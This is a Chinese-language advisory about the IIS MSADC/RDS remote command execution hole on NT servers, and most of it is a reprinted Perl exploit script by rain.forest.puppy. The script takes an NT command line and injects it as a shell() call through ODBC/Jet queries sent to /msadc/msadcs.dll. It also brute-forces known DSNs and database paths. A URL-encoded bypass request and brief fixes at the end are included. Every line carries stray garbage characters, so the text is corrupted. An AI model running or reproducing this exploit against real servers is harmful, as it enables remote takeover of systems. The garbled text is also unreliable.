IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
~iR!3+yg4 qqt.nrQ^ 涉及程序：
cwWSNm| Microsoft NT server
5) n:<U* {Fp`l\, 描述：
s8yTK2v2\ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
PxVI {:Uz 6v2RS 详细：
!%RJC,X 如果你没有时间读详细内容的话，就删除:
#9hXZr/8 c:\Program Files\Common Files\System\Msadc\msadcs.dll
x [{q&N!"` 有关的安全问题就没有了。
vu'!-K=0 SL\y\G aV 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
?ZuD
_L-i HHIUl,P 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
<j1d~XU} 关于利用ODBC远程漏洞的描述，请参看:
l;{ N/cS NtA|#"^ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ZG \ I1 Z>w ^j.( 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
vrm{Ql& http://www.microsoft.com/security/bulletins/MS99-025faq.asp . 1z$ A J.e8UQ@=5 这里不再论述。
D@r n@N ! N"L`RWD 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
g"dZB2`C \l=KWa 3Q /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Q1ABn acR 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
}2BH _
2 [>M *_1F cxP9n8CuT #将下面这段保存为txt文件，然后: "perl -x 文件名"
ox\B3U%`p} 8NAWA3^B #!perl
XC/]u%n8]( #
X\3 ,NR, # MSADC/RDS 'usage' (aka exploit) script
|!xfIR> =F #
[`zbf_RyO # by rain.forest.puppy
!.2CA L #
uR B)g # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
spSN6 .j # beta test and find errors!
1y )$[e
eA*Jfb use Socket; use Getopt::Std;
v-7Rb )EP getopts("e:vd:h:XR", \%args);
GEe 0@q#YA O'!r]0Q print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
6L:tr LuQ }4\!7]FVYX if (!defined $args{h} && !defined $args{R}) {
,yM}]pwlB print qq~
C$'D]fX Usage: msadc.pl -h <host> { -d <delay> -X -v }
fZ w9zqg -h <host> = host you want to scan (ip or domain)
z3vsz -d <seconds> = delay between calls, default 1 second
MKVfy:g%So -X = dump Index Server path table, if available
) 4'x7Qg/ -v = verbose
~3'OiIw1@ -e = external dictionary file for step 5
dxkRk#m f: e$ XY\{
Or a -R will resume a command session
22a l ; Oi[:Ck ~; exit;}
\&\_>X., "J8;4p $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
;Txv -lfS if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
u6 iU[5 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
56bud3CVs if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
EZ%w= $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
*793H\ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
T]Tdx.B fd5ZaE#f if (!defined $args{R}){ $ret = &has_msadc;
OD?y die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
l}Q"Nb) O:5Rp_?^ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
uXG`6|? . "cmd /c ";
tL={ y* $in=<STDIN>; chomp $in;
'#,e
@v $command="cmd /c " . $in ;
DD/>{kff _4.]A 3;} if (defined $args{R}) {&load; exit;}
>op:0on]} c|\ZRBdI print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
\uU=O
) &try_btcustmr;
(b/A |hl .)"_Q/q
print "\nStep 2: Trying to make our own DSN...";
gnQo1q{ 4 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
E'e8&3!bx Q )LXL.0h print "\nStep 3: Trying known DSNs...";
tb:,Uf>E &known_dsn;
M('s|>\l ?Y? gzD print "\nStep 4: Trying known .mdbs...";
(kWSK:l &known_mdb;
L25kh}Q#7 `1E|PQbWc if (defined $args{e}){
:mXG IRi print "\nStep 5: Trying dictionary of DSN names...";
:jt;EzCLg% &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
vU_d=T%$ (~j,mk print "Sorry Charley...maybe next time?\n";
fB f 4]^ exit;
74@lo-/LY &v5G92 ##############################################################################
r/NSD$-n heE}_,$| sub sendraw { # ripped and modded from whisker
ia%z+:G sleep($delay); # it's a DoS on the server! At least on mine...
@u I? my ($pstr)=@_;
f 7XQ ~b socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
&a%WM die("Socket problems\n");
a|DsHZ^6^ if(connect(S,pack "SnA4x8",2,80,$target)){
Q^ z=w![z select(S); $|=1;
mR{CVU print $pstr; my @in=<S>;
Y7<zm}=(/ select(STDOUT); close(S);
Vq3gceo'0A return @in;
di6B!YQP } else { die("Can't connect...\n"); }}
kz ZDtI) q"gqO%Wb| ##############################################################################
qP~W EcH`[ ,?l~rc sub make_header { # make the HTTP request
_j:UGMTi(U my $msadc=<<EOT
;{<aA 5 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
q,[k7&HS User-Agent: ACTIVEDATA
+h0PR? Host: $ip
s kN9O"^A Content-Length: $clen
$> "J"IX Connection: Keep-Alive
k: b/Gq` S~KS9E~\ ADCClientVersion:01.06
a q3~!T;W Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
kOw=c Gt ]UDd :2yt --!ADM!ROX!YOUR!WORLD!
q[7CPE0n Content-Type: application/x-varg
9<yAQ?7 L Content-Length: $reqlen
rh@r\ H@j 0,Hq E='w EOT
%BUEX ; $msadc=~s/\n/\r\n/g;
_ Yfmxn8V return $msadc;}
QE|`&~sme S_J,[#& ##############################################################################
aF!E x b"I~_CL| sub make_req { # make the RDS request
LO)GTyzvJ my ($switch, $p1, $p2)=@_;
{Fbg]'FQ my $req=""; my $t1, $t2, $query, $dsn;
]eE 1 n2 ]kx-,M( if ($switch==1){ # this is the btcustmr.mdb query
P0^c?s"I $query="Select * from Customers where City=" . make_shell();
8{dEpV* $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
/Rj#sxtdw $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
}g~g50ci Kx~$Bor_! elsif ($switch==2){ # this is general make table query
ZWO)tVw9G $query="create table AZZ (B int, C varchar(10))";
11@]d ]v , $dsn="$p1";}
Q]@c&* _| <3 A0={En elsif ($switch==3){ # this is general exploit table query
4'' ,6KJ@ $query="select * from AZZ where C=" . make_shell();
yL6^\ x $dsn="$p1";}
C,/O
?WQNIX4 elsif ($switch==4){ # attempt to hork file info from index server
$B \ H $query="select path from scope()";
I,b9t\(6 $dsn="Provider=MSIDXS;";}
?v:ZU~i IV'p~t elsif ($switch==5){ # bad query
c!It ^ * $query="select";
Z7fg
25 $dsn="$p1";}
q j&b o .2 0V
3 $t1= make_unicode($query);
&)n_]R#) $t2= make_unicode($dsn);
\R(R9cry $req = "\x02\x00\x03\x00";
w/W7N $req.= "\x08\x00" . pack ("S1", length($t1));
\<~}o I $req.= "\x00\x00" . $t1 ;
N2BI_,hI1 $req.= "\x08\x00" . pack ("S1", length($t2));
Z|G/^DK! $req.= "\x00\x00" . $t2 ;
Us,)]W.S $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
=!BobC- [b return $req;}
afHaB/t{R ks*Y9D*= ##############################################################################
q*, Q 5 u)a' sub make_shell { # this makes the shell() statement
,> n%
~'gb return "'|shell(\"$command\")|'";}
5Fm av5 8TE>IPjm ##############################################################################
{CtR+4KD d|XmasGN sub make_unicode { # quick little function to convert to unicode
"xe=N my ($in)=@_; my $out;
4U=75!> for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
P ZxFZvE return $out;}
]ab#q= XM/vDdR ##############################################################################
Tkw;pb LH2PTW\b!6 sub rdo_success { # checks for RDO return success (this is kludge)
}u%"$[I} my (@in) = @_; my $base=content_start(@in);
|S&5es-yW if($in[$base]=~/multipart\/mixed/){
K B!5u 9 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
:P$#M C return 0;}
6.5wZN9<| g JjN<&, ##############################################################################
-Fxmsi =b LY
/ sub make_dsn { # this makes a DSN for us
; Y"N6% my @drives=("c","d","e","f");
N>|XS
, print "\nMaking DSN: ";
(u hd "
foreach $drive (@drives) {
<P_ea/5:| print "$drive: ";
~=En +J}* my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
bl ;zR "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Ow:1?Z{4 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
fuUm}N7 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
@*>Sw>oet return 0 if $2 eq "404"; # not found/doesn't exist
C$d>_ r if($2 eq "200") {
A(8n foreach $line (@results) {
S QY"OBo<e return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
t
P"\J(x } return 0;}
u,1}h L Pf <[|yu4? ##############################################################################
$g10vF3
Pm+tQ sub verify_exists {
kM /Te{< my ($page)=@_;
EpYy3^5d my @results=sendraw("GET $page HTTP/1.0\n\n");
UG;Y^?Ppe5 return $results[0];}
x;LzG t:w JWv{=_2w ##############################################################################
J~#$J&iKh R"AUSO|{ sub try_btcustmr {
52d^K0STC my @drives=("c","d","e","f");
C [uOReo my @dirs=("winnt","winnt35","winnt351","win","windows");
ka "337H ~rD={&0 foreach $dir (@dirs) {
8X$LC print "$dir -> "; # fun status so you can see progress
WG7k(Sp ] foreach $drive (@drives) {
nV*y`.+ print "$drive: "; # ditto
9Q;c ,] $reqlen=length( make_req(1,$drive,$dir) ) - 28;
.]x2K-Sf $reqlenlen=length( "$reqlen" );
k5`OH8G $clen= 206 + $reqlenlen + $reqlen;
j(rL {Qv>q$Q my @results=sendraw(make_header() . make_req(1,$drive,$dir));
;eL9{eF if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
F_;DN:
{ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
| ?yo 3 &a,OfSz ##############################################################################
5 2_# a4 MZ ;5
sub odbc_error {
0aI;\D*Ts my (@in)=@_; my $base;
G:W>I=^DaR my $base = content_start(@in);
'heJ"k ? if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
`J0i.0p $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
o>Er_r $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
6w[}&pX"z $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
j*v40mXl`2 return $in[$base+4].$in[$base+5].$in[$base+6];}
? "/ fPV- print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
m#vL*]c} print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
w
Y $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
SqA
J-_~ Z8#Gwyinx ##############################################################################
S8d8%R~1=h 5kypMHJm sub verbose {
"=. t
36# my ($in)=@_;
20RXK1So return if !$verbose;
V'Kgdj print STDOUT "\n$in\n";}
8.J( r(;> bx4'en# ##############################################################################
' XrRhF
( 4+;$7 "fJ sub save {
:O<bA& :d my ($p1, $p2, $p3, $p4)=@_;
x%+{VStA open(OUT, ">rds.save") || print "Problem saving parameters...\n";
&MZ$j46 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
nlYR-. close OUT;}
YevyN\,}V! M:KbD| ##############################################################################
g 7V8D RyJ 1mAC sub load {
)d \ j I my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
*^\HU=& open(IN,"<rds.save") || die("Couldn't open rds.save\n");
A>`945| @p=<IN>; close(IN);
51C2u)HE $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
`:m ! ~ $target= inet_aton($ip) || die("inet_aton problems");
IP`6bMd print "Resuming to $ip ...";
6qWdd&1 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
\c v? ^AI if($p[1]==1) {
2&'|Eqk $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
B(?Yw>Xd[ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
=L|tp%! my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
.nu @ o40 if (rdo_success(@results)){print "Success!\n";}
T<3BT else { print "failed\n"; verbose(odbc_error(@results));}}
fKC3-zm elsif ($p[1]==3){
=<r8fXWZ if(run_query("$p[3]")){
g]c[O*NTL print "Success!\n";} else { print "failed\n"; }}
M igd(uw' elsif ($p[1]==4){
u 's`*T@. if(run_query($drvst . "$p[3]")){
3A:q7#m print "Success!\n"; } else { print "failed\n"; }}
n<sd!xmqFx exit;}
zya5Jb:Sg \Ng\B.IQ ##############################################################################
\<Sv3xy&O vK7\JZ> sub create_table {
*-W#G}O0 my ($in)=@_;
n+@F`]K e $reqlen=length( make_req(2,$in,"") ) - 28;
(&|_quP7O $reqlenlen=length( "$reqlen" );
&AVpLf:? $clen= 206 + $reqlenlen + $reqlen;
{t"+
3zy' my @results=sendraw(make_header() . make_req(2,$in,""));
Oa;X + return 1 if rdo_success(@results);
FLg *R/ my $temp= odbc_error(@results); verbose($temp);
)#|<w9uec return 1 if $temp=~/Table 'AZZ' already exists/;
4(}J.-B return 0;}
D(p\0 V '7wd$rl ##############################################################################
ih,%i4<}6m ah
@uUHB sub known_dsn {
bNFL O
Q # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
taGU my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
G2 2NQ~w8 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
UJ-?k &j, "banner", "banners", "ads", "ADCDemo", "ADCTest");
6u`F
d# Zwcy4 >8 foreach $dSn (@dsns) {
%75xr9yOP print ".";
}i {sg# next if (!is_access("DSN=$dSn"));
<FMq>d$\ if(create_table("DSN=$dSn")){
[b{CkX06 print "$dSn successful\n";
aQ^umrj@?9 if(run_query("DSN=$dSn")){
)"f
N!9,F print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
4'$g(+z print "Something's borked. Use verbose next time\n";}}} print "\n";}
C%*k.$# r! Mb3}7 @/[ ##############################################################################
Om{l>24i.\ . =m,hu~ sub is_access {
x!\ONF5$ my ($in)=@_;
oH0X<' $reqlen=length( make_req(5,$in,"") ) - 28;
l4n)#?Q? $reqlenlen=length( "$reqlen" );
H&r,FmI@ $clen= 206 + $reqlenlen + $reqlen;
08X_}97#WF my @results=sendraw(make_header() . make_req(5,$in,""));
#HS]NA|e@ my $temp= odbc_error(@results);
y4h=Lki@ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
EbeI{ -'aF return 0;}
[E#UGJ@ XwV'Ha ##############################################################################
%r&-gWTQ, M"%Q&o/I sub run_query {
zR!o {8 my ($in)=@_;
z
<mK>$ $reqlen=length( make_req(3,$in,"") ) - 28;
KH\b_>wU2 $reqlenlen=length( "$reqlen" );
&//wSlL3 $clen= 206 + $reqlenlen + $reqlen;
E_KCNn-f my @results=sendraw(make_header() . make_req(3,$in,""));
{t};-q!v$j return 1 if rdo_success(@results);
qE'9QQ>:b my $temp= odbc_error(@results); verbose($temp);
dK l^jsd return 0;}
hTP:[w) 6 wco&7 ##############################################################################
h:lt<y ]Jh+'RK\# sub known_mdb {
1ygpp0 IGJ my @drives=("c","d","e","f","g");
QwhRNnE= my @dirs=("winnt","winnt35","winnt351","win","windows");
P oEqurH0 my $dir, $drive, $mdb;
r=yK,d/1 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
VMoSLFp^R jx a cg^c # this is sparse, because I don't know of many
v]__%_ my @sysmdbs=( "\\catroot\\icatalog.mdb",
?+T^O?r|O "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
\{Q?^E "\\system32\\certmdb.mdb",
S+TOSjfis "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
zP6.xp3 n G_6oe*=I my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
=^H4 Yck/5 "\\cfusion\\cfapps\\forums\\forums_.mdb",
pP(XIC "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
cyxuK *x< "\\cfusion\\cfapps\\security\\realm_.mdb",
E}%hz*Q)( "\\cfusion\\cfapps\\security\\data\\realm.mdb",
5[j`6l "\\cfusion\\database\\cfexamples.mdb",
qfcY E= "\\cfusion\\database\\cfsnippets.mdb",
JCAq8=zM "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
<~
J O
s2 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
3\T2?w9u( "\\cfusion\\brighttiger\\database\\cleam.mdb",
4v[~r1!V "\\cfusion\\database\\smpolicy.mdb",
;n |^1S<[ "\\cfusion\\database\cypress.mdb",
]*7Y ~dO "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
(C]o, 7cYS "\\website\\cgi-win\\dbsample.mdb",
UT}i0I9 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
oD}uOC}FS{ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
E( us'9c ); #these are just
NBb6T
V}j foreach $drive (@drives) {
np RS E v foreach $dir (@dirs){
r>GZ58i foreach $mdb (@sysmdbs) {
#+$Q+Z|6k print ".";
v&Kqq!DE if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
!mXxAo print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
}w4QP+ x if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
\M'-O YH_[ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
)Ud-}* g } else { print "Something's borked. Use verbose next time\n"; }}}}}
L@JOGCYy W2uOR{
'? foreach $drive (@drives) {
p&VU0[LIC0 foreach $mdb (@mdbs) {
\QU^>2 3 print ".";
Xl74@wq if(create_table($drv . $drive . $dir . $mdb)){
Ts~L:3oaQ print "\n" . $drive . $dir . $mdb . " successful\n";
$ cj>2. if(run_query($drv . $drive . $dir . $mdb)){
` K ,1K print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
G\NPV ' } else { print "Something's borked. Use verbose next time\n"; }}}}
Zw
wqSyuGf }
^&g=u5
d0 wcDRH)AW. ##############################################################################
! bV5Sr^
]({~,8s sub hork_idx {
43V}# DA@ print "\nAttempting to dump Index Server tables...\n";
VY)s+Bx print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
2P c%fuC $reqlen=length( make_req(4,"","") ) - 28;
.$@R{>%U $reqlenlen=length( "$reqlen" );
86
W0rS[5 $clen= 206 + $reqlenlen + $reqlen;
E c s,$\ my @results=sendraw2(make_header() . make_req(4,"",""));
%v2R.?F8 if (rdo_success(@results)){
H(Eh c my $max=@results; my $c; my %d;
cyJG8f for($c=19; $c<$max; $c++){
}^B6yWUN $results[$c]=~s/\x00//g;
9)VF 1LD $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
-GLMmZJt $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
pKi& [ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
Rb3V^;i $d{"$1$2"}="";}
-.{g }R% foreach $c (keys %d){ print "$c\n"; }
NY?;erX } else {print "Index server doesn't seem to be installed.\n"; }}
RoAlf+&Qb O#Wh
TDF" ##############################################################################
i*CZV|t US ?.Pg\ur sub dsn_dict {
=/\:>+p^.y open(IN, "<$args{e}") || die("Can't open external dictionary\n");
QNDHOo>v while(<IN>){
Hr$QLtr $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
"Ky; a?Y next if (!is_access("DSN=$dSn"));
h,"4SSL if(create_table("DSN=$dSn")){
^eoLAL print "$dSn successful\n";
s=[h?kB if(run_query("DSN=$dSn")){
,!U=|c"k) print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
U!Ek' print "Something's borked. Use verbose next time\n";}}}
H:"ma S\I print "\n"; close(IN);}
=N 5z@;!
1!>Jpi0 ##############################################################################
*-xU2 fw[y+Bi&
? sub sendraw2 { # ripped and modded from whisker
Qyy.IPTP sleep($delay); # it's a DoS on the server! At least on mine...
kY'T{Sm1^ my ($pstr)=@_;
Li Kxq=K socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
`mN4_\] die("Socket problems\n");
\rPbK+G. if(connect(S,pack "SnA4x8",2,80,$target)){
O(_[ayE print "Connected. Getting data";
&5: t n=E open(OUT,">raw.out"); my @in;
(e"iO`H select(S); $|=1; print $pstr;
^n+ !4(@= while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
[k-+AA>: close(OUT); select(STDOUT); close(S); return @in;
U#U]Pt } else { die("Can't connect...\n"); }}
1IVuSp`{FU tY
<Z'xA? ##############################################################################
VcoOeAKL *_ ?dVhxf sub content_start { # this will take in the server headers
0:b2(^]bg my (@in)=@_; my $c;
uw2hMt (N for ($c=1;$c<500;$c++) {
D.mHIsX6\ if($in[$c] =~/^\x0d\x0a/){
/JT#^Y if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
a. z;t8 else { return $c+1; }}}
/q5:p`4{J return -1;} # it should never get here actually
IUwm}9Q! S%`0'lzzj ##############################################################################
(T2m"Yi: H9CS*|q6r sub funky {
T*KMksjxm` my (@in)=@_; my $error=odbc_error(@in);
E4hLtc^
+ if($error=~/ADO could not find the specified provider/){
$1v&azM. print "\nServer returned an ADO miscofiguration message\nAborting.\n";
J(6oL exit;}
i'\T R|qd if($error=~/A Handler is required/){
u7=U ^}# print "\nServer has custom handler filters (they most likely are patched)\n";
[}&Sxgv exit;}
>KJ+-QuO& if($error=~/specified Handler has denied Access/){
) Yd?m0m* print "\nServer has custom handler filters (they most likely are patched)\n";
r\/+Oa' exit;}}
M|R b&6O F+ u|HiYG ##############################################################################
,{c?ym w? >;[*!<pfK5 sub has_msadc {
Phke`3tth my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
@*sWu_ -Y% my $base=content_start(@results);
=%/)m:f!^ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
YIjTL!bA" return 0;}
GI&h `X5,e KVJ_E!i ########################
f &
CBU 8w.YYo8` RU\/j%^ 解决方案：
=AuR :Tx 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
k1 !@^A 2、移除web 目录: /msadc
